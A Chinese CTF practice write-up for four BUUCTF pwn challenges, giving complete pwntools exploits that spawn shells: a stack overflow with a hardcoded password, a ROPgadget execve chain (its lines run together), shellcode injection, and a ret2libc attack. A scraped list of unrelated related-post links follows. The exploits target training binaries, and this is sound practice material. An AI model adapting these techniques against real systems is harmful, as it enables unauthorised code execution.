PWN-PRACTICE-BUUCTF-13
PWN-PRACTICE-BUUCTF-13
- [ZJCTF 2019]Login
- inndy_rop
- mrctf2020_shellcode
- jarvisoj_level1
[ZJCTF 2019]Login
参考:ZJCTF 2019 Pwn
from pwn import *
io=remote('node4.buuoj.cn',27513)
#io = process("./login")
shell = 0x400e88
io.recvuntil("username: ")
io.sendline("admin")
io.recvuntil("password: ")
payload="2jctf_pa5sw0rd"+"\x00"*58+p64(shell)
io.sendline(payload)
io.interactive()
inndy_rop
静态链接的32位elf,用ROPgadget直接找一条rop链
ROPgadget --binary inndy_rop --ropchain
from pwn import *
from struct import pack
#io=process('./inndy_rop')
io=remote('node4.buuoj.cn',25930)
def ROPchain():p = 'a'*(0xc+4)p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b8016) # pop eax ; retp += '/bin'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b8016) # pop eax ; retp += '//sh'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de769) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0806c943) # int 0x80return p
payload=ROPchain()
io.sendline(payload)
io.interactive()
mrctf2020_shellcode
在偏移0x00000000000011DD处有条call rax的gadget,这里的rax就是我们输入内容的地址
于是这道题直接输入shellcode,elf执行call rax即可getshell
from pwn import *
context.arch='amd64'
context.os='linux'
#io=process('./mrctf2020_shellcode')
io=remote('node4.buuoj.cn',29514)
shellcode=asm(shellcraft.sh())
io.recvuntil('magic!\n')
io.sendline(shellcode)
io.interactive()
jarvisoj_level1
32位elf的栈溢出,ret2libc
from pwn import *
#context.log_level = 'debug'
#p = process('./jarvisoj_level1')
p=remote('node4.buuoj.cn',25340)
elf = ELF('./jarvisoj_level1')
libc=ELF('./libc-2.23-x32.so')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
payload1='A'*140+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
write_addr = u32(p.recv(4))
print('write addr: '+hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
payload='A'*140+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()
PWN-PRACTICE-BUUCTF-13相关推荐
- 【论文研读】基于BP 神经网络的 Q235 钢力学性能预测模型
基于BP 神经网络的 Q235 钢力学性能预测模型 刘志伟1, 2 , 马劲红1, 2 , 陈伟1 , 王文正1 1.华北理工大学 冶金与能源学院, 河北 唐山 063210; 2.现代冶金技术教育部 ...
- 最新麦子学院Web前端项目实战 Web前端开发从入门到精通33G完整版
课程介绍 下载地址:百度网盘 一共超过33G的整套麦子学院Web前段视频教程,共分为4大阶段循序渐进的进行逐步深入的解读,从基础知识入门到后期的项目实战开发 对于想从事Web前端学习和开发工作的朋友来 ...
- html5说课稿,高中英语说课稿范文
下面是学习啦小编整理的高中英语说课稿范文,以供大家学习参考. Ladies and Gentlemen, It's my great pleasure to be here sharing my le ...
- IT类英文电子书存档页面
为什么80%的码农都做不了架构师?>>> http://www.salttiger.com/archives/ 目前我主要在以下两个网站收集编程类的电子书,在这上面找不到的书, ...
- mahout安装测试
Mahout 是 Apache Software Foundation(ASF) 旗下的一个开源项目,提供一些可扩展的机器学习领域经典算法的实现,旨在帮助开发人员更加方便快捷地创建智能应用程序.Apa ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF 2021-10-4 Pwn
文章目录 保持手感 echo 分析 EXP Pwnme1 分析 EXP wdb_2018_1st_babyheap 分析 EXP FSOP houseoforange_hitcon_2016 分析 前 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- [BUUCTF]PWN——[HarekazeCTF2019]baby_rop2
[HarekazeCTF2019]baby_rop2 题目附件 步骤: 例行检查,64位,开启了nx保护 运行了一下程序,了解大概的执行情况 64位ida载入,shift+f12检索程序里的字符串,没 ...
最新文章
- Cable master (POJ No.1064)
- python个人项目-Python个人练习项目 2-1
- VTK:曲线样条CurveSpline用法实战
- Matlab中的类(Class),Matlab中的class用法
- 判断闰年 php,PHP怎么判断一年是否为闰年?
- 《七哥说道》第五章:入职惨做苦力,画饼一望无际
- [J2ME]RSSOwlMidlet(RSS无线阅读器)设计说明
- 当前主要使用的python版本_动力火车当歌词
- 开发者须知:哪些广告最让用户感到厌烦
- BZOJ4336: BJOI2015 骑士的旅行
- 数据结构之哈夫曼编码
- springmvc 需要用到的核心jar包
- wps office应用计算机等级考试,全国计算机等级考试一级教程:计算机基础及WPS Office应用(2016年版)...
- WORD文档不能打开的一些原因
- 打外星生物的塔防java_《异形防御者》测评:外星人也玩塔防游戏
- 李白打酒递归java_李白打酒----递归理解
- JAVA中implements的用法
- 如何启用dhcp linux,怎么开启DHCP服务器啊
- 盛瑟传感模块技术原理
- 真Unity3d_人物摇杆操作(2022年重写)
热门文章
- Chrome 调试动态加载的js
- 线段树(单点更新(模板)) 之 hdu 1166
- ubuntu下vim语法高亮问题
- .net Reflection(反射)- 二
- [Leetcode][程序员面试金典][面试题08.03][JAVA][魔术索引][递归][优化]
- POJ-2773 欧几里得 + 二分 + 容斥
- mysql创建表格1warning_MySQL:创建、修改和删除表
- mysqlnavicat数据库备份与恢复_Navicat如何还原MySQL数据库
- python数据录入和分析_hive+python数据分析入门
- 416B. Art Union